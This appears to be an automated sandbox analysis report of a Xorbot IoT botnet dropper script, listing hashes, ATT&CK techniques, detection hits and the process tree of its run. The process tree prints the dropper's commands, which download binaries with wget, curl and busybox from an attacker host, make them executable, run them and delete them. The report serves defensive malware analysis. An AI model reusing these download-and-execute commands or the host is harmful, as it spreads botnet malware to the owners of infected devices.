xorbot | 6893c7f081f92bc5a6e641d0313012fe5badc44d102689a832c5605957dc45b0

Analysis

max time kernel
87s
max time network
149s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
30/11/2024, 15:32

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General

Target

bins.sh
Size

10KB
MD5

f796cacd37166675c4c1f925e941261c
SHA1

bb8d335e63d78a4a22d5f8c163391bc12d67037c
SHA256

6893c7f081f92bc5a6e641d0313012fe5badc44d102689a832c5605957dc45b0
SHA512

606ba690000a04a876431c0c743d95dd473b7b9726a4fa782fa1fcc326b0e306a13c1b4683d095e337a2fe5329336df41d2b2202d4238f85bf00a82b1aad02b0
SSDEEP

192:S9VIHPINZ3TnyZhTKIQadqOXsMH0nooNSWCMQfHKF5bqOXsMb0looNSW65fHKF5N:fHPINZ4KIjdqOXsMH0gMQfHKF5bqOXs1

Score

10^/10

xorbot botnet defense_evasion discovery trojan

Malware Config

Signatures

Detects Xorbot 3 IoCs

botnet trojan

resource	yara_rule
behavioral4/files/fstream-1.dat	family_xorbot
behavioral4/files/fstream-3.dat	family_xorbot
behavioral4/files/fstream-5.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
814	chmod
822	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/SzQvhT6qvViz444xB3OmGANYHR8biKaHU2	815	SzQvhT6qvViz444xB3OmGANYHR8biKaHU2
/tmp/d6kHzl2yE2q85XnP3iTFZHVhyXjTGSGYH4	823	d6kHzl2yE2q85XnP3iTFZHVhyXjTGSGYH4

Reads runtime system information 3 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 9 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
821	busybox
826	wget
827	curl
727	curl
819	curl
818	wget
829	busybox
710	wget
813	busybox

Writes file to tmp directory 8 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/d6kHzl2yE2q85XnP3iTFZHVhyXjTGSGYH4	busybox
File opened for modification	/tmp/R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY	wget
File opened for modification	/tmp/R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY	curl
File opened for modification	/tmp/SzQvhT6qvViz444xB3OmGANYHR8biKaHU2	wget
File opened for modification	/tmp/SzQvhT6qvViz444xB3OmGANYHR8biKaHU2	curl
File opened for modification	/tmp/SzQvhT6qvViz444xB3OmGANYHR8biKaHU2	busybox
File opened for modification	/tmp/d6kHzl2yE2q85XnP3iTFZHVhyXjTGSGYH4	wget
File opened for modification	/tmp/d6kHzl2yE2q85XnP3iTFZHVhyXjTGSGYH4	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:702
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:704
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/SzQvhT6qvViz444xB3OmGANYHR8biKaHU2
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:710
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/SzQvhT6qvViz444xB3OmGANYHR8biKaHU2
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:727
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/SzQvhT6qvViz444xB3OmGANYHR8biKaHU2
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:813
- /bin/chmod
  chmod 777 SzQvhT6qvViz444xB3OmGANYHR8biKaHU2
  2⤵
  - File and Directory Permissions Modification
  PID:814
- /tmp/SzQvhT6qvViz444xB3OmGANYHR8biKaHU2
  ./SzQvhT6qvViz444xB3OmGANYHR8biKaHU2
  2⤵
  - Executes dropped EXE
  PID:815
- /bin/rm
  rm SzQvhT6qvViz444xB3OmGANYHR8biKaHU2
  2⤵
  PID:817
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/d6kHzl2yE2q85XnP3iTFZHVhyXjTGSGYH4
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:818
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/d6kHzl2yE2q85XnP3iTFZHVhyXjTGSGYH4
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:819
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/d6kHzl2yE2q85XnP3iTFZHVhyXjTGSGYH4
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:821
- /bin/chmod
  chmod 777 d6kHzl2yE2q85XnP3iTFZHVhyXjTGSGYH4
  2⤵
  - File and Directory Permissions Modification
  PID:822
- /tmp/d6kHzl2yE2q85XnP3iTFZHVhyXjTGSGYH4
  ./d6kHzl2yE2q85XnP3iTFZHVhyXjTGSGYH4
  2⤵
  - Executes dropped EXE
  PID:823
- /bin/rm
  rm d6kHzl2yE2q85XnP3iTFZHVhyXjTGSGYH4
  2⤵
  PID:825
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:826
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:827
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
  2⤵
  - System Network Configuration Discovery
  PID:829

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/tmp/SzQvhT6qvViz444xB3OmGANYHR8biKaHU2

Filesize
111KB

MD5
701e7a55a4f3650f5feee92a9860e5fc

SHA1
6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

SHA256
ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

SHA512
7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

Download Submit
/tmp/d6kHzl2yE2q85XnP3iTFZHVhyXjTGSGYH4

Filesize
122KB

MD5
cd3d4b9c643e5b473fb4d88ed05f0716

SHA1
64ee7a97418583d759eaea8000890cc3bae1b5f4

SHA256
0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

SHA512
164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

Download Submit